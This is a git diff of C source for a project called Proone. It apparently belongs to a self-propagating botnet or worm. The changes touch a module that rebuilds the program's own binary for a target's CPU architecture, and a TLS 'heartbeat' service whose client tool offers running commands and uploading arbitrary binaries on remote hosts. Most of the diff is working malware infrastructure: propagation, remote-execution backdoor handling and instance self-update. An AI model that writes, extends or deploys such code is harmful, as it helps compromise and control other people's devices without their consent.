diff options
-rw-r--r-- | src/bne.c | 50 | ||||
-rw-r--r-- | src/data/proto/nybin_head | 8 | ||||
-rw-r--r-- | src/htbt.c | 105 | ||||
-rw-r--r-- | src/htbt.h | 2 | ||||
-rw-r--r-- | src/pack.c | 96 | ||||
-rw-r--r-- | src/pack.h | 19 | ||||
-rw-r--r-- | src/proone-htbtclient.c | 520 | ||||
-rw-r--r-- | src/proone-htbthost.c | 40 | ||||
-rw-r--r-- | src/proone-test_proto.c | 13 | ||||
-rw-r--r-- | src/proone.c | 177 | ||||
-rw-r--r-- | src/proone.h | 4 | ||||
-rw-r--r-- | src/protocol.c | 5 | ||||
-rw-r--r-- | src/protocol.h | 27 |
13 files changed, 730 insertions, 336 deletions
@@ -1293,7 +1293,9 @@ END: // CATCH } static bool bne_sh_start_rcb (prne_bne_t *ctx, bne_sh_ctx_t *sh_ctx) { - ctx->result.prc = prne_start_bin_rcb( + prne_arch_t actual; + + ctx->result.prc = prne_start_bin_rcb_compat( &sh_ctx->rcb, ctx->result.arch, ctx->param.rcb.self, @@ -1302,36 +1304,24 @@ static bool bne_sh_start_rcb (prne_bne_t *ctx, bne_sh_ctx_t *sh_ctx) { ctx->param.rcb.exec_len, ctx->param.rcb.m_dv, ctx->param.rcb.dv_len, - ctx->param.rcb.ba); - - if (ctx->result.prc == PRNE_PACK_RC_NO_ARCH) { - // retry with compatible arch if available - switch (ctx->result.arch) { - case PRNE_ARCH_AARCH64: - case PRNE_ARCH_ARMV7: - ctx->result.arch = PRNE_ARCH_ARMV4T; - break; - case PRNE_ARCH_X86_64: - ctx->result.arch = PRNE_ARCH_I686; - break; - default: return false; + ctx->param.rcb.ba, + &actual); + + if (PRNE_DEBUG && PRNE_VERBOSE >= PRNE_VL_DBG0) { + if (ctx->result.prc == PRNE_PACK_RC_OK) { + if (actual != ctx->result.arch) { + prne_dbgpf( + "bne sh@%"PRIxPTR"\t: using compat arch %s\n", + (uintptr_t)ctx, + prne_arch_tostr(ctx->result.arch)); + } } - if (PRNE_DEBUG && PRNE_VERBOSE >= PRNE_VL_DBG0) { + else { prne_dbgpf( - "bne sh@%"PRIxPTR"\t: retrying bin_rcb with compat arch %s\n", + "bne sh@%"PRIxPTR"\t: prne_start_bin_rcb_compat() - %s\n", (uintptr_t)ctx, - prne_arch_tostr(ctx->result.arch)); + prne_pack_rc_tostr(ctx->result.prc)); } - ctx->result.prc = prne_start_bin_rcb( - &sh_ctx->rcb, - ctx->result.arch, - ctx->param.rcb.self, - ctx->param.rcb.m_self, - ctx->param.rcb.self_len, - ctx->param.rcb.exec_len, - ctx->param.rcb.m_dv, - ctx->param.rcb.dv_len, - ctx->param.rcb.ba); } return ctx->result.prc == PRNE_PACK_RC_OK; @@ -1829,9 +1819,11 @@ static bool bne_do_vec_htbt (prne_bne_t *ctx) { &ssl, PRNE_HTBT_TLS_ALP); if (ret) { -/* here goes ... +/* TODO: here goes ... * -* - Check the program version and update if necessary via PRNE_HTBT_OP_NY_BIN +* - Take an array of previous versions as param +* - Check the program version of the remote instance and update local or remote +* instance if necessary using PRNE_HTBT_OP_UP_BIN or PRNE_HTBT_OP_RCB */ prne_pth_reset_timer(&ev, &BNE_SCK_OP_TIMEOUT); if (prne_mbedtls_pth_handle(&ssl, mbedtls_ssl_close_notify, fd, ev)) { diff --git a/src/data/proto/nybin_head b/src/data/proto/nybin_head deleted file mode 100644 index 79cd1b7..0000000 --- a/src/data/proto/nybin_head +++ /dev/null @@ -1,8 +0,0 @@ -# msg id 8A06, init -8A06 -# PRNE_HTBT_OP_NY_BIN -06 - # bin_len = - 000000 - # detach = 0, args_len = 0 - 0000 @@ -20,6 +20,7 @@ #include <mbedtls/base64.h> +#define HTBT_MAIN_REQ_Q_SIZE 2 // Hover Max Redirection count #define HTBT_HOVER_MAX_REDIR 5 // CNCP interval: HTBT_CNCP_INT_MIN + jitter @@ -53,8 +54,8 @@ static const struct timespec HTBT_DL_TICK_TIMEOUT = { 30, 0 }; // 30s typedef uint_fast8_t htbt_lmk_t; #define HTBT_LMK_NONE 0 -#define HTBT_LMK_HOVER 1 -#define HTBT_LMK_NYBIN 2 +// #define HTBT_LMK_HOVER 1 +#define HTBT_LMK_UPBIN 2 typedef struct { int fd[2]; @@ -192,7 +193,7 @@ static void htbt_lm_release (prne_htbt_t *ctx, const htbt_lmk_t v) { } static bool htbt_main_q_req_slip (prne_htbt_t *ctx, htbt_req_slip_t *in) { - bool alloc, ret = false; + bool alloc = false, ret = false; htbt_req_slip_t *ny_slip = (htbt_req_slip_t*)prne_malloc( sizeof(htbt_req_slip_t), 1); @@ -203,12 +204,17 @@ static bool htbt_main_q_req_slip (prne_htbt_t *ctx, htbt_req_slip_t *in) { htbt_init_req_slip(ny_slip); prne_dbgtrap(pth_mutex_acquire(&ctx->main.lock, FALSE, NULL)); - alloc = - prne_llist_append( - &ctx->main.req_q, - (prne_llist_element_t)ny_slip) != NULL; - if (alloc) { - prne_dbgtrap(pth_cond_notify(&ctx->main.cond, FALSE)); + if (ctx->main.req_q.size < HTBT_MAIN_REQ_Q_SIZE) { + alloc = + prne_llist_append( + &ctx->main.req_q, + (prne_llist_element_t)ny_slip) != NULL; + if (alloc) { + prne_dbgtrap(pth_cond_notify(&ctx->main.cond, FALSE)); + } + } + else { + errno = EAGAIN; } pth_mutex_release(&ctx->main.lock); if (alloc) { @@ -247,21 +253,12 @@ static bool htbt_main_q_hover ( prne_llist_entry_t *trace) { bool ret = false; - htbt_lmk_t lmk = HTBT_LMK_NONE; htbt_req_slip_t slip; htbt_hv_req_body_t *body; prne_llist_entry_t *ny_trace = NULL; htbt_init_req_slip(&slip); - if (htbt_lm_acquire(ctx, HTBT_LMK_HOVER)) { - lmk = HTBT_LMK_HOVER; - } - else { - errno = EBUSY; - goto END; - } - slip.free_f = (prne_htbt_free_ft)htbt_free_hv_req_body; slip.op = PRNE_HTBT_OP_HOVER; slip.body = prne_malloc(sizeof(htbt_hv_req_body_t), 1); @@ -299,9 +296,6 @@ END: prne_llist_erase(&ctx->main.hover_req, ny_trace); pth_mutex_release(&ctx->main.lock); } - if (!ret && lmk != HTBT_LMK_NONE) { - htbt_lm_release(ctx, lmk); - } htbt_free_req_slip(&slip); return ret; } @@ -898,12 +892,15 @@ static void htbt_slv_fab_frame ( size_t req, actual; prne_assert(ev != NULL); + prne_assert(!((body == NULL) ^ (ser_f == NULL))); req = 0; prne_htbt_ser_msg_head(NULL, 0, &actual, mh); req += actual; - ser_f(NULL, 0, &actual, body); - req += actual; + if (ser_f != NULL) { + ser_f(NULL, 0, &actual, body); + req += actual; + } prne_assert(req <= ctx->iobuf[1].size); htbt_slv_consume_outbuf(ctx, req, ev); @@ -929,12 +926,14 @@ static void htbt_slv_fab_frame ( &actual, mh); prne_iobuf_shift(ctx->iobuf + 1, actual); - ser_f( - ctx->iobuf[1].m + ctx->iobuf[1].len, - ctx->iobuf[1].avail, - &actual, - body); - prne_iobuf_shift(ctx->iobuf + 1, actual); + if (ser_f != NULL) { + ser_f( + ctx->iobuf[1].m + ctx->iobuf[1].len, + ctx->iobuf[1].avail, + &actual, + body); + prne_iobuf_shift(ctx->iobuf + 1, actual); + } } static void htbt_slv_fab_status ( @@ -976,6 +975,19 @@ static void htbt_slv_fab_status ( pth_event_free(my_ev, FALSE); } +static void htbt_slv_fab_noop ( + htbt_slv_ctx_t *ctx, + const bool is_rsp, + pth_event_t ev) +{ + prne_htbt_msg_head_t mh; + + prne_htbt_init_msg_head(&mh); + mh.is_rsp = is_rsp; + htbt_slv_fab_frame(ctx, &mh, NULL, NULL, ev); + prne_htbt_free_msg_head(&mh); +} + static void htbt_slv_raise_protoerr ( htbt_slv_ctx_t *ctx, uint16_t corr_msgid, @@ -1150,10 +1162,11 @@ static bool htbt_slv_srv_bin ( prne_htbt_status_code_t ret_status = PRNE_HTBT_STATUS_OK; int32_t ret_errno = 0; htbt_lmk_t lmk = HTBT_LMK_NONE; + mode_t tmpfm; prne_dbgast( mh->op == PRNE_HTBT_OP_RUN_BIN || - mh->op == PRNE_HTBT_OP_NY_BIN); + mh->op == PRNE_HTBT_OP_UP_BIN); prne_htbt_init_bin_meta(&bin_meta); @@ -1177,15 +1190,15 @@ static bool htbt_slv_srv_bin ( } if (ctx->cbset->tmpfile == NULL || - (mh->op == PRNE_HTBT_OP_NY_BIN && ctx->cbset->ny_bin == NULL)) + (mh->op == PRNE_HTBT_OP_UP_BIN && ctx->cbset->upbin == NULL)) { ret_status = PRNE_HTBT_STATUS_UNIMPL; goto SND_STATUS; } - if (mh->op == PRNE_HTBT_OP_NY_BIN && ctx->lm_acquire_f != NULL) { - if (ctx->lm_acquire_f(ctx->ioctx, HTBT_LMK_NYBIN)) { - lmk = HTBT_LMK_NYBIN; + if (mh->op == PRNE_HTBT_OP_UP_BIN && ctx->lm_acquire_f != NULL) { + if (ctx->lm_acquire_f(ctx->ioctx, HTBT_LMK_UPBIN)) { + lmk = HTBT_LMK_UPBIN; } else { ret_status = PRNE_HTBT_STATUS_ERRNO; @@ -1195,10 +1208,12 @@ static bool htbt_slv_srv_bin ( } errno = 0; - path = ctx->cbset->tmpfile( - ctx->cb_ctx, - bin_meta.bin_size, - mh->op == PRNE_HTBT_OP_RUN_BIN ? 0700 : 0600); + switch (mh->op) { + case PRNE_HTBT_OP_RUN_BIN: + case PRNE_HTBT_OP_UP_BIN: tmpfm = 0700; break; + default: tmpfm = 0600; + } + path = ctx->cbset->tmpfile(ctx->cb_ctx, bin_meta.bin_size, tmpfm); if (path == NULL) { ret_status = PRNE_HTBT_STATUS_ERRNO; ret_errno = errno; @@ -1303,7 +1318,7 @@ static bool htbt_slv_srv_bin ( &ret_errno); } else { - if (!ctx->cbset->ny_bin(ctx->cb_ctx, path, &bin_meta.cmd)) { + if (!ctx->cbset->upbin(ctx->cb_ctx, path, &bin_meta.cmd)) { ret_status = PRNE_HTBT_STATUS_ERRNO; ret_errno = errno; goto SND_STATUS; @@ -1455,6 +1470,7 @@ static bool htbt_slv_consume_inbuf ( switch (f_head.op) { case PRNE_HTBT_OP_NOOP: prne_iobuf_shift(ctx->iobuf + 0, -actual); + htbt_slv_fab_noop(ctx, true, root_ev); break; case PRNE_HTBT_OP_STDIO: ret |= htbt_slv_srv_stdio(ctx, root_ev, actual, &f_head); @@ -1467,7 +1483,7 @@ static bool htbt_slv_consume_inbuf ( ret |= htbt_slv_srv_run_cmd(ctx, root_ev, actual, &f_head); break; case PRNE_HTBT_OP_RUN_BIN: - case PRNE_HTBT_OP_NY_BIN: + case PRNE_HTBT_OP_UP_BIN: ret |= htbt_slv_srv_bin(ctx, root_ev, actual, &f_head); break; case PRNE_HTBT_OP_HOVER: @@ -1753,13 +1769,15 @@ static bool htbt_main_slv_setup_f (void *ioctx, pth_event_t ev) { bool ret = true; size_t actual; prne_htbt_msg_head_t mh; + int f_ret; prne_htbt_init_msg_head(&mh); - if (mbedtls_ctr_drbg_random( + + f_ret = mbedtls_ctr_drbg_random( ctx->parent->param.ctr_drbg, (unsigned char *)&mh.id, - sizeof(mh.id) == 0)) - { + sizeof(mh.id)); + if (f_ret == 0) { mh.id = (mh.id % PRNE_HTBT_MSG_ID_DELTA) + PRNE_HTBT_MSG_ID_MIN; } else { @@ -2008,7 +2026,6 @@ static void *htbt_main_entry (void *p) { switch (slip->op) { case PRNE_HTBT_OP_HOVER: htbt_main_srv_hover(ctx, (htbt_hv_req_body_t*)slip->body); - htbt_lm_release(ctx, HTBT_LMK_HOVER); break; default: if (PRNE_DEBUG) { @@ -25,7 +25,7 @@ struct prne_htbt_cbset { prne_htbt_cnc_txtrec_ft cnc_txtrec; prne_htbt_hostinfo_ft hostinfo; // optional prne_htbt_tmpfile_ft tmpfile; // optional - prne_htbt_bin_ft ny_bin; // optional + prne_htbt_bin_ft upbin; // optional }; struct prne_htbt_param { @@ -498,6 +498,66 @@ prne_pack_rc_t prne_start_bin_rcb ( return PRNE_PACK_RC_OK; } +prne_pack_rc_t prne_start_bin_rcb_compat ( + prne_bin_rcb_ctx_t *ctx, + const prne_arch_t target, + const prne_arch_t self, + const uint8_t *m_self, + const size_t self_len, + const size_t exec_len, + const uint8_t *m_dvault, + const size_t dvault_len, + const prne_bin_archive_t *ba, + prne_arch_t *actual) +{ + prne_arch_t a = target; + prne_pack_rc_t ret = prne_start_bin_rcb( + ctx, + target, + self, + m_self, + self_len, + exec_len, + m_dvault, + dvault_len, + ba); + const prne_arch_t *f; + + if (ret != PRNE_PACK_RC_NO_ARCH) { + goto END; + } + f = prne_compat_arch(target); + if (f == NULL) { + goto END; + } + + for (; *f != PRNE_ARCH_NONE; f += 1) { + if (*f == target) { + continue; + } + a = *f; + ret = prne_start_bin_rcb( + ctx, + *f, + self, + m_self, + self_len, + exec_len, + m_dvault, + dvault_len, + ba); + if (ret != PRNE_PACK_RC_NO_ARCH) { + break; + } + } + +END: + if (actual != NULL) { + *actual = a; + } + return ret; +} + ssize_t prne_bin_rcb_read ( prne_bin_rcb_ctx_t *ctx, uint8_t *buf, @@ -529,3 +589,39 @@ bool prne_index_nybin ( return true; } + +const prne_arch_t *prne_compat_arch (const prne_arch_t target) { + static const prne_arch_t F_X86[] = { + PRNE_ARCH_X86_64, + PRNE_ARCH_I686, + PRNE_ARCH_NONE + }; + static const prne_arch_t F_ARM[] = { + PRNE_ARCH_AARCH64, + PRNE_ARCH_ARMV7, + PRNE_ARCH_ARMV4T, + PRNE_ARCH_NONE + }; + + switch (target) { + case PRNE_ARCH_X86_64: return F_X86; + case PRNE_ARCH_I686: return F_X86 + 1; + case PRNE_ARCH_AARCH64: return F_ARM; + case PRNE_ARCH_ARMV7: return F_ARM + 1; + case PRNE_ARCH_ARMV4T: return F_ARM + 2; + } + return NULL; +} + +const char *prne_pack_rc_tostr (const prne_pack_rc_t prc) { + switch (prc) { + case PRNE_PACK_RC_OK: return "ok"; + case PRNE_PACK_RC_EOF: return "eof"; + case PRNE_PACK_RC_INVAL: return "invalid"; + case PRNE_PACK_RC_FMT_ERR: return "format error"; + case PRNE_PACK_RC_ERRNO: return "errno"; + case PRNE_PACK_RC_Z_ERR: return "zlib error"; + case PRNE_PACK_RC_NO_ARCH: return "no arch"; + } + return NULL; +} @@ -18,7 +18,9 @@ typedef enum { PRNE_PACK_RC_FMT_ERR, PRNE_PACK_RC_ERRNO, PRNE_PACK_RC_Z_ERR, - PRNE_PACK_RC_NO_ARCH + PRNE_PACK_RC_NO_ARCH, + + NB_PRNE_PACK_RC } prne_pack_rc_t; struct prne_bin_tuple { @@ -64,6 +66,17 @@ prne_pack_rc_t prne_start_bin_rcb ( const uint8_t *m_dvault, const size_t dvault_len, const prne_bin_archive_t *ba); +prne_pack_rc_t prne_start_bin_rcb_compat ( + prne_bin_rcb_ctx_t *ctx, + const prne_arch_t target, + const prne_arch_t self, + const uint8_t *m_self, + const size_t self_len, + const size_t exec_len, + const uint8_t *m_dvault, + const size_t dvault_len, + const prne_bin_archive_t *ba, + prne_arch_t *actual); ssize_t prne_bin_rcb_read ( prne_bin_rcb_ctx_t *ctx, uint8_t *buf, @@ -78,3 +91,7 @@ bool prne_index_nybin ( size_t *dv_len, const uint8_t **m_ba, size_t *ba_len); + +const prne_arch_t *prne_compat_arch (const prne_arch_t arch); + +const char *prne_pack_rc_tostr (const prne_pack_rc_t prc); diff --git a/src/proone-htbtclient.c b/src/proone-htbtclient.c index 53b31d6..c7328f1 100644 --- a/src/proone-htbtclient.c +++ b/src/proone-htbtclient.c @@ -11,6 +11,7 @@ #include <stdarg.h> #include <assert.h> +#include <sys/mman.h> #include <getopt.h> #include <regex.h> #include <termios.h> @@ -49,8 +50,8 @@ " hover send handover request\n"\ " runcmd run command on host\n"\ " runbin upload and run arbitrary binary on host\n"\ -" nybin perform binary update\n"\ -" getbin download Proone binary\n"\ +" upbin perform binary update\n"\ +" rcb download binary from instance\n"\ "\n"\ "Common options:\n"\ " -h, --help print help for specified command and exit. Print this\n"\ @@ -103,11 +104,17 @@ "Options:\n"\ " -d, --detach run detached(i.e., run as daemon)\n"\ "\n" -#define NYBIN_HELP_STR \ +#define UPBIN_HELP_STR \ "Perform binary update.\n"\ -"Usage: %s [common options] nybin <FILE> [arg0] [arg1 ...]\n"\ +"Usage: %s [common options] upbin [options] <FILE> [arg0] [arg1 ...]\n"\ "\n"\ -"<FILE>: NYBIN format binary\n"\ +"Options:\n"\ +" --nybin do binary recombination. <FILE> must be nybin format binary\n"\ +" --exec upload <FILE> as is\n"\ +" --no-compat do not retry recombination with compatible arch\n"\ +"\n"\ +"Note that an instance will continue to run with original binary if it fails to\n"\ +"exec() to the new binary.\n"\ "\n" enum sub_command { @@ -116,11 +123,22 @@ enum sub_command { SC_HOVER, SC_RUNCMD, SC_RUNBIN, - SC_NYBIN, - SC_GETBIN + SC_UPBIN, + SC_RCB, + + NB_SC }; typedef enum sub_command sub_command_t; +enum bin_type { + BT_NONE, + BT_NYBIN, + BT_EXEC, + + NB_BT +}; +typedef enum bin_type bin_type_t; + struct { char *tls_ca; char *tls_cert; @@ -140,8 +158,10 @@ struct { } hover; struct { char *bin_path; + bin_type_t bin_type; prne_htbt_bin_meta_t bm; bool detached; + bool compat; } run; } cmd_param; void (*free_cmdparam_f)(void); @@ -166,9 +186,12 @@ struct { } yaml; union { struct { + int fd; + prne_arch_t arch_host; + prne_arch_t arch_rcb; + bool has_status; prne_iobuf_t ib; prne_htbt_status_t st; - bool has_status; } run; } cmd_st; void (*free_cmdst_f)(void); @@ -188,8 +211,8 @@ static void print_help (const char *prog, const sub_command_t sc, FILE *out_f) { case SC_RUNBIN: fprintf(out_f, RUNBIN_HELP_STR, prog); break; - case SC_NYBIN: - fprintf(out_f, NYBIN_HELP_STR, prog); + case SC_UPBIN: + fprintf(out_f, UPBIN_HELP_STR, prog); break; // TODO default: fprintf(out_f, MAIN_HELP_STR, prog, prog); @@ -219,12 +242,17 @@ static void init_prog_g (void) { } static void free_run_g (void) { + prne_close(prog_g.cmd_st.run.fd); prne_free_iobuf(&prog_g.cmd_st.run.ib); prne_htbt_free_status(&prog_g.cmd_st.run.st); } static void init_run_g (void) { assert(prog_g.free_cmdst_f == NULL); + + prog_g.cmd_st.run.arch_host = PRNE_ARCH_NONE; + prog_g.cmd_st.run.arch_rcb = PRNE_ARCH_NONE; + prog_g.cmd_st.run.fd = -1; prne_init_iobuf(&prog_g.cmd_st.run.ib); prne_htbt_init_status(&prog_g.cmd_st.run.st); assert(prne_alloc_iobuf(&prog_g.cmd_st.run.ib, prne_getpagesize())); @@ -260,10 +288,12 @@ static void init_hover_conf (void) { static void free_run_conf (void) { prne_htbt_free_bin_meta(&prog_conf.cmd_param.run.bm); + prne_free(prog_conf.cmd_param.run.bin_path); } static void init_run_conf (void) { prne_htbt_init_bin_meta(&prog_conf.cmd_param.run.bm); + prog_conf.cmd_param.run.compat = true; prog_conf.free_cmdparam_f = free_run_conf; } @@ -489,13 +519,48 @@ LOOP_END: return 0; } -static int parse_args_nybin (const int argc, char *const *args) { +static int parse_args_upbin (const int argc, char *const *args) { + static const struct option lopts[] = { + { "nybin", no_argument, 0, 0 }, + { "exec", no_argument, 0, 0 }, + { "no-compat", no_argument, 0, 0 }, + { 0, 0, 0, 0 } + }; + int li, f_ret; + const struct option *co; + if (!assert_host_arg()) { return 2; } init_run_conf(); init_run_g(); + while (true) { + f_ret = getopt_long(argc, args, "", lopts, &li); + if (f_ret != 0) { + break; + } + + co = (const struct option*)lopts + li; + if (strcmp("nybin", co->name) == 0) { + prog_conf.cmd_param.run.bin_type = BT_NYBIN; + } + else if (strcmp("exec", co->name) == 0) { + prog_conf.cmd_param.run.bin_type = BT_EXEC; + } + else if (strcmp("no-compat", co->name) == 0) { + prog_conf.cmd_param.run.compat = false; + } + else { + abort(); + } + } + + if (prog_conf.cmd_param.run.bin_type == BT_NONE) { + fprintf(stderr, "Use --nybin or --exec to specify binary type.\n"); + return 2; + } + if (argc <= optind) { fprintf(stderr, "FILE not specified.\n"); return 2; @@ -520,7 +585,7 @@ static int parse_args_nybin (const int argc, char *const *args) { return 0; } -static int parse_args_getbin (const int argc, char *const *args) { +static int parse_args_rcb (const int argc, char *const *args) { if (!assert_host_arg()) { return 2; } @@ -633,11 +698,11 @@ END_LOOP: else if (strcmp("runbin", cmd_str) == 0) { prog_conf.cmd = SC_RUNBIN; } - else if (strcmp("nybin", cmd_str) == 0) { - prog_conf.cmd = SC_NYBIN; + else if (strcmp("upbin", cmd_str) == 0) { + prog_conf.cmd = SC_UPBIN; } - else if (strcmp("getbin", cmd_str) == 0) { - prog_conf.cmd = SC_GETBIN; + else if (strcmp("rcb", cmd_str) == 0) { + prog_conf.cmd = SC_RCB; } else { fprintf(stderr, "Invalid COMMAND \"%s\".\n", cmd_str); @@ -653,9 +718,11 @@ END_LOOP: case SC_HOVER: ret = parse_args_hover(argc, args); break; case SC_RUNCMD: ret = parse_args_run(argc, args, false); break; case SC_RUNBIN: ret = parse_args_run(argc, args, true); break; - case SC_NYBIN: ret = parse_args_nybin(argc, args); break; - case SC_GETBIN: ret = parse_args_getbin(argc, args); break; - default: fprintf(stderr, "COMMAND not specified.\n"); + case SC_UPBIN: ret = parse_args_upbin(argc, args); break; + case SC_RCB: ret = parse_args_rcb(argc, args); break; + default: + ret = 2; + fprintf(stderr, "COMMAND not specified.\n"); } return ret; @@ -817,6 +884,32 @@ static int init_tls (void) { return 0; } +static void pstatus (const prne_htbt_status_t *st, const char *s) { + fprintf(stderr, "%s: code=%d, err=%"PRId32"\n", s, st->code, st->err); +} + +static void pprc (const prne_pack_rc_t prc, const char *s, int *err) { + switch (prc) { + case PRNE_PACK_RC_Z_ERR: + if (err != NULL) { + fprintf(stderr, "%s: %s(%d)\n", s, prne_pack_rc_tostr(prc), *err); + break; + } + /* fall-through */ + case PRNE_PACK_RC_OK: + case PRNE_PACK_RC_EOF: + case PRNE_PACK_RC_INVAL: + case PRNE_PACK_RC_FMT_ERR: + case PRNE_PACK_RC_NO_ARCH: + fprintf(stderr, "%s: %s\n", s, prne_pack_rc_tostr(prc)); + break; + case PRNE_PACK_RC_ERRNO: + perror(s); + break; + default: abort(); + } +} + static int yaml_output_handler(void *data, unsigned char *buffer, size_t size) { ssize_t io_ret; @@ -991,6 +1084,10 @@ static void end_yaml (void) { static bool do_connect (void) { int f_ret; + if (prog_conf.prne_vl >= PRNE_VL_DBG0) { + fprintf(stderr, "do_connect()\n"); + } + f_ret = mbedtls_net_connect( &prog_g.net.ctx, prog_conf.remote_host, @@ -1013,9 +1110,34 @@ static bool do_connect (void) { mbedtls_net_recv, mbedtls_net_recv_timeout); + f_ret = mbedtls_ssl_handshake(&prog_g.ssl.ctx); + if (f_ret != 0) { + prne_mbedtls_perror(f_ret, "mbedtls_ssl_handshake()"); + return false; + } + if (!prne_mbedtls_verify_alp( + &prog_g.ssl.conf, + &prog_g.ssl.ctx, + PRNE_HTBT_TLS_ALP)) + { + fprintf(stderr, "ALPN not negotiated.\n"); + return false; + } + return true; } +static void do_disconnect (void) { + if (prog_conf.prne_vl >= PRNE_VL_DBG0) { + fprintf(stderr, "do_disconnect()\n"); + } + mbedtls_ssl_close_notify(&prog_g.ssl.ctx); + mbedtls_ssl_free(&prog_g.ssl.ctx); + + mbedtls_net_free(&prog_g.net.ctx); + prne_iobuf_reset(&prog_g.net.ib); +} + static uint16_t htbt_msgid_rnd_f (void *ctx) { int f_ret; uint16_t ret; @@ -1144,6 +1266,28 @@ static bool recv_mh (prne_htbt_msg_head_t *mh, const uint16_t *cor_id) { return true; } +static bool do_ayt (void) { + prne_htbt_msg_head_t mh; + bool ret = false; + + if (prog_conf.prne_vl >= PRNE_VL_DBG0) { + fprintf(stderr, "do_ayt()\n"); + } + + prne_htbt_init_msg_head(&mh); + do { + if (!send_frame(&mh, (prne_htbt_ser_ft)prne_htbt_ser_msg_head) || + !recv_frame(&mh, (prne_htbt_dser_ft)prne_htbt_dser_msg_head)) + { + break; + } + ret = mh.op == PRNE_HTBT_OP_NOOP && mh.is_rsp; + } while (false); + + prne_htbt_free_msg_head(&mh); + return ret; +} + static bool recv_status (prne_htbt_status_t *st) { return recv_frame(st, (prne_htbt_dser_ft)prne_htbt_dser_status); } @@ -1367,60 +1511,81 @@ static void emit_hostinfo_frame (const prne_htbt_host_info_t *hi) { prne_free_host_cred(&hc); } -static int cmdmain_hostinfo (void) { - int ret = 0; - uint16_t msgid; +static bool do_hostinfo ( + prne_htbt_host_info_t *hi, + prne_htbt_status_t *st, + bool *status) +{ + bool ret = false; + const uint16_t msgid = prne_htbt_gen_msgid(NULL, htbt_msgid_rnd_f); prne_htbt_msg_head_t mh; - prne_htbt_host_info_t hi; - prne_htbt_status_t st; - msgid = prne_htbt_gen_msgid(NULL, htbt_msgid_rnd_f); prne_htbt_init_msg_head(&mh); - prne_htbt_init_host_info(&hi); - prne_htbt_init_status(&st); mh.id = msgid; mh.is_rsp = false; mh.op = PRNE_HTBT_OP_HOST_INFO; - if (!do_connect()) { - ret = 1; - goto END; - } - if (!send_mh(&mh)) { - ret = 1; goto END; } if (!recv_mh(&mh, &msgid)) { - ret = 1; goto END; } switch (mh.op) { case PRNE_HTBT_OP_HOST_INFO: - if (!recv_frame(&hi, (prne_htbt_dser_ft)prne_htbt_dser_host_info)) { - ret = 1; + if (!recv_frame(hi, (prne_htbt_dser_ft)prne_htbt_dser_host_info)) { goto END; } - start_yaml(); - emit_preemble("hostinfo", "ok", NULL); - emit_hostinfo_frame(&hi); + *status = false; break; case PRNE_HTBT_OP_STATUS: - ret = 1; - if (recv_status(&st)) { - start_yaml(); - emit_preemble("hostinfo", "status", NULL); - emit_status_frame(&st); + if (!recv_status(st)) { + goto END; } - goto END; + *status = true; + break; default: raise_proto_err("invalid response op %"PRIx8"\n", mh.op); - ret = 1; goto END; } + ret = true; END: prne_htbt_free_msg_head(&mh); + return ret; +} + +static int cmdmain_hostinfo (void) { + int ret = 0; + bool status; + prne_htbt_host_info_t hi; + prne_htbt_status_t st; + + prne_htbt_init_host_info(&hi); + prne_htbt_init_status(&st); + + if (!do_connect()) { + ret = 1; + goto END; + } + if (!do_hostinfo(&hi, &st, &status)) { + ret = 1; + goto END; + } + + if (status) { + start_yaml(); + emit_preemble("hostinfo", "status", NULL); + emit_status_frame(&st); + } + else { + start_yaml(); + emit_preemble("hostinfo", "ok", NULL); + emit_hostinfo_frame(&hi); + } + ret = 0; + +END: prne_htbt_free_host_info(&hi); prne_htbt_free_status(&st); return ret; @@ -1468,7 +1633,6 @@ static void emit_hover_opts (void) { static bool run_setup (const uint16_t msgid) { bool ret = true; - int bin_fd = -1; int f_ret; struct stat fs; void *f; @@ -1483,7 +1647,7 @@ static bool run_setup (const uint16_t msgid) { switch (prog_conf.cmd) { case SC_RUNCMD: mh.op = PRNE_HTBT_OP_RUN_CMD; break; case SC_RUNBIN: mh.op = PRNE_HTBT_OP_RUN_BIN; break; - case SC_NYBIN: mh.op = PRNE_HTBT_OP_NY_BIN; break; + case SC_UPBIN: mh.op = PRNE_HTBT_OP_UP_BIN; break; default: abort(); } @@ -1494,11 +1658,10 @@ static bool run_setup (const uint16_t msgid) { fs.st_size = 0; break; case SC_RUNBIN: - case SC_NYBIN: - bin_fd = open(prog_conf.cmd_param.run.bin_path, O_RDONLY); - if (bin_fd < 0 || fstat(bin_fd, &fs) != 0) { + case SC_UPBIN: + if (fstat(prog_g.cmd_st.run.fd, &fs) != 0) { ret = false; - perror(prog_conf.cmd_param.run.bin_path); + perror("fstat()"); goto END; } if (fs.st_size > PRNE_HTBT_BIN_LEN_MAX) { @@ -1522,7 +1685,7 @@ static bool run_setup (const uint16_t msgid) { while (fs.st_size > 0 || prog_g.cmd_st.run.ib.len > 0) { if (fs.st_size > 0 && prog_g.cmd_st.run.ib.avail > 0) { io_ret = read( - bin_fd, + prog_g.cmd_st.run.fd, prog_g.cmd_st.run.ib.m + prog_g.cmd_st.run.ib.len, prne_op_min((size_t)fs.st_size, prog_g.cmd_st.run.ib.avail)); if (io_ret == 0) { @@ -1561,7 +1724,6 @@ static bool run_setup (const uint16_t msgid) { } END: - prne_close(bin_fd); prne_htbt_free_msg_head(&mh); return ret; } @@ -1765,6 +1927,16 @@ static bool run_recv_status (const uint16_t msgid) { return prog_g.cmd_st.run.has_status; } +static bool do_open_bin (void) { + prne_assert(prog_g.cmd_st.run.fd < 0); + prog_g.cmd_st.run.fd = open(prog_conf.cmd_param.run.bin_path, O_RDONLY); + if (prog_g.cmd_st.run.fd < 0) { + perror(prog_conf.cmd_param.run.bin_path); + return false; + } + return true; +} + static int cmdmain_run (void) { uint16_t msgid; @@ -1774,6 +1946,9 @@ static int cmdmain_run (void) { if (!do_connect()) { break; } + if (prog_conf.cmd == SC_RUNBIN && !do_open_bin()) { + break; + } if (!run_setup(msgid)) { break; } @@ -1804,10 +1979,22 @@ static int cmdmain_run (void) { return 1; } -static void emit_nybin_opts (void) { +static void emit_upbin_opts (void) { emit_scalar(YAML_STR_TAG, PREEMBLE_OPT_TAG_NAME); emit_mapping_start(); + emit_scalar(YAML_STR_TAG, "bin_type"); + if (prog_conf.cmd_param.run.bin_type == BT_NYBIN) { + emit_scalar(YAML_STR_TAG, "nybin"); + emit_scalar(YAML_STR_TAG, "arch_host"); + emit_scalar(YAML_STR_TAG, prne_arch_tostr(prog_g.cmd_st.run.arch_host)); + emit_scalar(YAML_STR_TAG, "arch_rcb"); + emit_scalar(YAML_STR_TAG, prne_arch_tostr(prog_g.cmd_st.run.arch_rcb)); + } + else { + emit_scalar(YAML_STR_TAG, "exec"); + } + emit_scalar(YAML_STR_TAG, "bin_size"); emit_scalar_fmt( YAML_INT_TAG, @@ 